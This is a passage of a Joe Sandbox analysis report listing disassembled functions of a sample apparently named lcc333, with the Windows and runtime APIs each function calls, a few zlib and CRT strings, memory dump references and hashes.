Instruction ID: 0ae64e14ce28c567370f935ba27eb04350c7648869ca69b54ba4da2cb60440d9
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 9A317636608F8185DB60DF25E8802AEB7A4FB85768F940537EA9D43B55EF3CC149CB10

Function 00007FF714CA1874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA18C0
FindFirstFileExW.KERNEL32 ref: 00007FF714CA19CA

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: 2b10e2ab0dde7fadbdc5b01d6a233d6ab4bc77382e11b88e21300fca6eb9434e
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: F3B1C563B18A9241EB60AF27E5801B9E391EB86FF4F945533DA5D07A85FE3CE449C310

Function 00007FF714C8D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF714C8D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF714C8D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF714C8D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF714C8D066

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: c721aa7fb2db4b4d55873e9e2a56fc7dec35909c87c756f64b2e661023b5a39d
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: FE115122B14F0589EB00DF61E8942B973B4F71AB68F440E32DA1D46764EF3CD1588350

Function 00007FF714CA3C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF714CA3C76
memcpy_s.LIBCPMT ref: 00007FF714CA3CA1

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 437e304e7cb34022700be35fda94fcadc74b7570a9f9ed3a23fd223c24300b69
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: E6C12773B18A8687D724DF16A08466AF7A1F785F94FA08536DB4E43784EB3DE805CB40

Function 00007FF714C8A47B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

, xrefs: 00007FF714C8A55B
header crc mismatch, xrefs: 00007FF714C8A921
unknown header flags set, xrefs: 00007FF714C8A4C5

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction ID: 9e8e455cc5f3203691c8c81cc8501b913398daac220e910e3e02f399dbb3665f
Opcode Fuzzy Hash: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction Fuzzy Hash: 9BF1E672A08BDA4BE7A5AF0AC0C9B3ABAA9FF46750F45413ADA4907390DB3DD444C750

Function 00007FF714CA9728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF714CA9977
RaiseException.KERNEL32 ref: 00007FF714CA9988

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 5fec9f2894b2c7b73f20a3ffca58c72f18e75642b0923579a976b039adff6ac2
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: 38B17E77600B898BEB15CF2AC8863AC77A0F745F58F248D22DA5D837A4DB39D455C710

Function 00007FF714C939A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF714C93D54
, xrefs: 00007FF714C93B12

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: 0dd1c1ad26e0b5eb83ae903cf4f53bf122ca461e477cdea497b4bff96a7aa074
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: 50E1C732A18E4251E764AE57C8D013DB3A0FF4AB68F946237DA0E477E4EF29D859C710

Function 00007FF714C8A2DB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF714C8A449
incorrect header check, xrefs: 00007FF714C8A462

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction ID: 7c98957f3e2e0676d49c2fbd210452b5d4bdbe5cd4ce5143d09c8bc3909a5821
Opcode Fuzzy Hash: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction Fuzzy Hash: 0D91FE72A18AC787E7A49F1AC4C9B3E7AA9FF46360F414136DA4A477C0DB39E544CB10

Function 00007FF714C9DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF714C9DFFD
gfff, xrefs: 00007FF714C9E07A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: 1905351011519dae1b3dcfbcb7df7f6d619d40ca9b51324733c5ef00e835ad62
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: DC517A22B18AC156E7209E37DC81769EB91E756BB4F889232CB9847BC1EE3DD009C710

Function 00007FF714CA08C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: b0fbe33ac808011dd9371a7a7f6a81a3844d786c26e4de1cb55b30f2ecd56649
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: 19029062E1DE5241FA65BF17A880279A680AF43FF0FE54A36DD5D463D1FE3DA4098320

Function 00007FF714C9DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF714C9DD9E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 083be693e7369632ec4803e9dab1102607ca3a79e3c4941bdf7ec5acf5bc5ab4
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 1EA16A63B08BC546EB21DF26E8807A9B790EB52BE4F448032DE4D57785EE3DD50AC720

Function 00007FF714C98794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF714C987B3

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: d4f668279d0bb1da7c0ffcdda1d1e36c1a0c52179c141648e6015d5874597766
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: 1451B101B28A52A1FA54BE279D8117BD2806F42BF4FC9443BDE0E47786FE3CE4094234

Function 00007FF714CA3480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF714CA3484

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: fe543b386670ecf81482c8d6cc3122548ebfea22c292ddc90014d0cc94e0fcbd
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: 65B09B20E17E01C1ED043F12ACC612452547F45710FD40536C10C40330ED2C15E95710

Function 00007FF714C935A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: b7e06576a643542602605a6d6ace20ff30bfee6610c7dd0189ebdd7cefcba6aa
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: 12D1EA62A08E4255EB28AE27C98423DA791FB0AB68F942137CD0D077E5EF3DD459C760

Function 00007FF714C89800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: d3b4ac7b0688e086e6b6780aaba791d67f91f383356c14e9eeae8a72359ff00d
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: 95C18F762181E18BD289EB29E4A94BA73D1F78A30DBD5406BEF87477C5C73CA414DB20

Function 00007FF714C92C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: 82c81fa2e4a4b214edd96bf399116c71d22a74fbb0e6472f1643c405c1a95dc4
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: DFB1D272508B4696E764DF3AC8C013CBBA1E746F58FA80536CA8E43395EF39D449C764

Function 00007FF714C9E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: 29b8842856758f2b6288d8c067303c801aebaa64121d8335e80fe7002f2aa0ff
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: D581C672A08B8196E774DF1AD880379B691FB667B4F944236DA8D43BC5EE3DD4048F10

Function 00007FF714CA6418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 21aaab296e2e64a79b20cf98ea2699a9ab0529386423cc159892306e5cd43e00
Instruction ID: a2ff17b395fece9ab59ce921152f17b825093480ebf66b28f3c435f810b6e36a
Opcode Fuzzy Hash: 21aaab296e2e64a79b20cf98ea2699a9ab0529386423cc159892306e5cd43e00
Instruction Fuzzy Hash: 21612F23F0894246F764AE6684D467CD580AFD3B70FA84A3BD69D436C4FE7DE8088720

Function 00007FF714C91D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: a843bf34246a7e0b8a00c2c5587b1bd51e94ecb7ab6fe5c388cd7b067255059e
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 8B51A837A18E5292F7259F2AC48523873A0EB86B78F684136CE4D07794DF3AE857C750

Function 00007FF714C92164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 4f123c5cf79072393f03df8a4bc2eefb3d83bef862f32dbb24f9bfad76674efb
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: FF51A936A18E5191E7249F2AC88023873A2FB56B78F644532CECD17794DB3AEC57C750

Function 00007FF714C91944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: c8f90a9ef4d8d58d5f8817752da4f731b3493f16635bc779d4b18bb077c1926f
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 8951EB76A14E5191F7249F1AC48123873A0EB86B78F64423ACE8D17798EF3AEC47C750

Function 00007FF714C91F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
